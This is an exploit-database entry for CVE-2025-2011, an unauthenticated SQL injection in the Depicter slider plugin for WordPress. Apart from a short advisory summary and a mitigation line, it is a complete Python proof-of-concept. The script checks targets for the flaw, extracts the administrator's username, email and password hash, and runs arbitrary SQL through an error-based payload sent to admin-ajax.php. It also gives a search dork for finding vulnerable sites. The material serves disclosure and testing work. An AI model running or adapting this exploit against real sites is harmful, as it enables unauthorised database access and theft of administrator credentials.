header-logo
Suggest Exploit
vendor:
Depicter Plugin
by:
Andrew Long
6.1
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Depicter Plugin
Affected Version From: <= 3.6.1
Affected Version To: 3.6.2001
Patch Exists: NO
Related CWE: CVE-2025-2011
CPE: a:wordpress:depicter:3.6.1
Metasploit:
Other Scripts:
Platforms Tested: WordPress
2025

WordPress Depicter Plugin 3.6.1 – SQL Injection

The Slider & Popup Builder by Depicter plugin for WordPress up to version 3.6.1 is vulnerable to SQL Injection through the 's' parameter. Attackers can inject additional SQL queries to extract sensitive data from the database due to lack of proper input validation and escaping.

Mitigation:

Ensure input validation and proper escaping of user-supplied parameters to prevent SQL Injection attacks. Regularly update the Depicter plugin to the latest version.
Source

Exploit-DB raw data:

# Exploit Title: WordPress Depicter Plugin 3.6.1 - SQL Injection
# Google Dork: inurl:/wp-content/plugins/depicter/
# Date: 2025-05-06
# Exploit Author: Andrew Long (datagoboom)
# Vendor Homepage: https://wordpress.org/plugins/depicter/
# Software Link: https://downloads.wordpress.org/plugin/depicter.3.6.1.zip
# Version: <= 3.6.1
# Tested on: WordPress 6.x
# CVE: CVE-2025-2011
 
# Description:
# The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to SQL Injection via the 's' parameter in all versions up to, and including, 3.6.1.
# The vulnerability exists due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.
# This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

# The vulnerability is located in the admin-ajax.php endpoint and can be exploited through the 's' parameter. The PoC demonstrates how to:
# 1. Check if a target is vulnerable
# 2. Extract admin user details
# 3. Execute custom SQL queries

# The exploit is provided as a Python script (poc.py) that includes:
# - Error-based SQL injection detection
# - Admin user information extraction
# - Custom SQL query execution capability
# - Debug mode for detailed output
 

#!/usr/bin/env python3

import argparse
import re
import sys
import time
import html
import urllib.parse
from urllib.parse import urlparse

try:
    import requests
    from colorama import Fore, Style, init
    init(autoreset=True)
    USE_COLOR = True
except ImportError:
    class MockColorama:
        def __getattr__(self, name):
            return ""
    
    Fore = Style = MockColorama()
    USE_COLOR = False
    
    print("[!] Missing dependencies. Install with: pip install requests colorama")
    print("[!] Continuing without colored output...")

def print_banner():
    banner = f"""
{Fore.CYAN}╔════════════════════════════════════════════════════════════════╗
{Fore.CYAN}║ {Fore.RED}CVE-2025-2011 - SQLi in Depicter Slider & Popup Builder <3.6.2 {Fore.CYAN}║
{Fore.CYAN}║ {Fore.GREEN}By datagoboom                                          {Fore.CYAN}        ║
{Fore.CYAN}╚════════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
    """
    print(banner)

def verify_target(url):
    parsed_url = urlparse(url)
    if not parsed_url.scheme:
        url = "http://" + url
    if url.endswith('/'):
        url = url[:-1]
    
    print(f"{Fore.YELLOW}[*] Target URL: {url}")
    return url

def test_connection(url):
    try:
        response = requests.get(url, timeout=10)
        if response.status_code == 200:
            print(f"{Fore.GREEN}[+] Successfully connected to the target")
            return True
        else:
            print(f"{Fore.RED}[-] Received status code {response.status_code}")
            return False
    except requests.exceptions.RequestException as e:
        print(f"{Fore.RED}[-] Connection error: {e}")
        return False

def extract_data(url, sql_query, max_length=50, debug=False):
    payload = f"test%' AND EXTRACTVALUE(1,CONCAT(0x7e,({sql_query}),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index"
    
    target_url = f"{url}/wp-admin/admin-ajax.php?s={payload}"
    
    try:
        if debug:
            print(f"{Fore.BLUE}[DEBUG] Requesting: {target_url}")
        
        response = requests.get(target_url, timeout=20)
        
        if debug:
            print(f"{Fore.BLUE}[DEBUG] Response status: {response.status_code}")
        
        decoded_text = html.unescape(response.text)
        
        error_pattern = r"XPATH syntax error: '~(.*?)~'"
        match = re.search(error_pattern, decoded_text)
        
        if match:
            extracted_data = match.group(1)
            return extracted_data
        else:
            if debug:
                print(f"{Fore.RED}[-] No XPATH syntax error found in response")
                if "XPATH syntax error" in decoded_text:
                    print(f"{Fore.RED}[-] XPATH error found but regex didn't match. Response excerpt:")
                    print(f"{Fore.RED}[-] {decoded_text[:500]}")
                else:
                    print(f"{Fore.RED}[-] Response doesn't contain XPATH error. Response excerpt:")
                    print(f"{Fore.RED}[-] {decoded_text[:500]}")
            return None
    except requests.exceptions.RequestException as e:
        print(f"{Fore.RED}[-] Error during extraction: {e}")
        return None

def check_vulnerability(url, debug=False):
    print(f"{Fore.YELLOW}[*] Checking if the target is vulnerable...")
    
    result = extract_data(url, "database()", debug=debug)
    
    if result:
        print(f"{Fore.GREEN}[+] Target is VULNERABLE!")
        print(f"{Fore.GREEN}[+] Database name: {result}")
        return True
    else:
        result = extract_data(url, "VERSION()", debug=debug)
        if result:
            print(f"{Fore.GREEN}[+] Target is VULNERABLE!")
            print(f"{Fore.GREEN}[+] MySQL version: {result}")
            return True
        else:
            result = extract_data(url, "'test'", debug=debug)
            if result:
                print(f"{Fore.GREEN}[+] Target is VULNERABLE!")
                print(f"{Fore.GREEN}[+] Test value: {result}")
                return True
            else:
                print(f"{Fore.RED}[-] Target does not appear to be vulnerable")
                manual_check = f"{url}/wp-admin/admin-ajax.php?s=test%' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index"
                print(f"{Fore.YELLOW}[*] Try checking manually in your browser: \n{manual_check}")
                return False

def extract_admin_details(url, debug=False):
    print(f"{Fore.YELLOW}[*] Extracting admin user details...")
    
    admin_username = extract_data(url, "SELECT user_login FROM wp_users WHERE ID=1 LIMIT 1", debug=debug)
    
    if admin_username:
        print(f"{Fore.GREEN}[+] Admin username: {admin_username}")
        
        admin_email = extract_data(url, "SELECT user_email FROM wp_users WHERE ID=1 LIMIT 1", debug=debug)
        if admin_email:
            print(f"{Fore.GREEN}[+] Admin email: {admin_email}")
        
        hash_left = extract_data(url, "SELECT LEFT(user_pass,30) FROM wp_users WHERE ID=1 LIMIT 1", debug=debug)
        if hash_left:
            hash_right = extract_data(url, "SELECT SUBSTRING(user_pass,31,30) FROM wp_users WHERE ID=1 LIMIT 1", debug=debug)
            if hash_right:
                full_hash = hash_left + hash_right
            else:
                print(f"{Fore.YELLOW}[*] Could not retrieve full hash - bcrypt hashes are typically 60 chars long")
            print(f"{Fore.GREEN}[+] Admin password hash: {full_hash}")
        else:
            print(f"{Fore.RED}[-] Failed to extract admin password hash")
        
        return {
            "username": admin_username,
            "email": admin_email,
            "password_hash": hash_left
        }
    else:
        print(f"{Fore.RED}[-] Failed to extract admin details")
        return None

def extract_custom_data(url, query, debug=False):
    print(f"{Fore.YELLOW}[*] Executing custom SQL query...")
    print(f"{Fore.YELLOW}[*] Query: {query}")
    
    result = extract_data(url, query, debug=debug)
    
    if result:
        print(f"{Fore.GREEN}[+] Result: {result}")
        return result
    else:
        print(f"{Fore.RED}[-] Failed to execute query or no results returned")
        return None

def main():
    parser = argparse.ArgumentParser(description='CVE-2025-2011 - SQLi in Depicter Slider & Popup Builder')
    parser.add_argument('-u', '--url', required=True, help='Target WordPress URL')
    parser.add_argument('-m', '--mode', default='check', choices=['check', 'admin', 'custom'], 
                      help='Extraction mode: check=vulnerability check, admin=admin details, custom=custom SQL query')
    parser.add_argument('-q', '--query', help='Custom SQL query (use with -m custom)')
    parser.add_argument('-d', '--debug', action='store_true', help='Enable debug output')
    
    args = parser.parse_args()
    
    print_banner()
    
    target_url = verify_target(args.url)
    
    if not test_connection(target_url):
        print(f"{Fore.RED}[-] Exiting due to connection failure")
        sys.exit(1)
    
    if not check_vulnerability(target_url, debug=args.debug):
        if args.mode != 'check':
            print(f"{Fore.YELLOW}[!] Target may not be vulnerable, but continuing with requested mode...")
        else:
            print(f"{Fore.RED}[-] Exiting as target does not appear to be vulnerable")
            sys.exit(1)
    
    if args.mode == 'check':
        pass
    elif args.mode == 'admin':
        extract_admin_details(target_url, debug=args.debug)
    elif args.mode == 'custom':
        if not args.query:
            print(f"{Fore.RED}[-] Custom mode requires a SQL query (-q/--query)")
            sys.exit(1)
        extract_custom_data(target_url, args.query, debug=args.debug)
    
    print(f"\n{Fore.YELLOW}[!] Exploitation complete")

if __name__ == "__main__":
    main()